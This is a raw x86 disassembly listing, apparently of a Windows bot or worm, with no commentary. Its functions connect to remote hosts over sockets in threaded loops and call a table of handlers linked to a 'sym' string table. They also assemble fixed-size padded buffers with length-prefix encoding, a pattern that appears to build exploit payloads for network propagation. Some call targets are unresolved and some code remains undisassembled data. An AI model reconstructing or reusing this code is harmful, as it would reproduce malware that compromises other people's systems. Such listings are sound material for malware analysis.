		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 2670E97h
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	near ptr 26E05A6h
		nop
		push	80000400h
		push	esi
		call	near ptr 26E04C2h
		nop
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	near ptr 26E05A6h
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	227364Ch, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 6E890FCh, 0FF02253Fh
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	0E8575700h
		dd 227355Ch, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2253E15h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
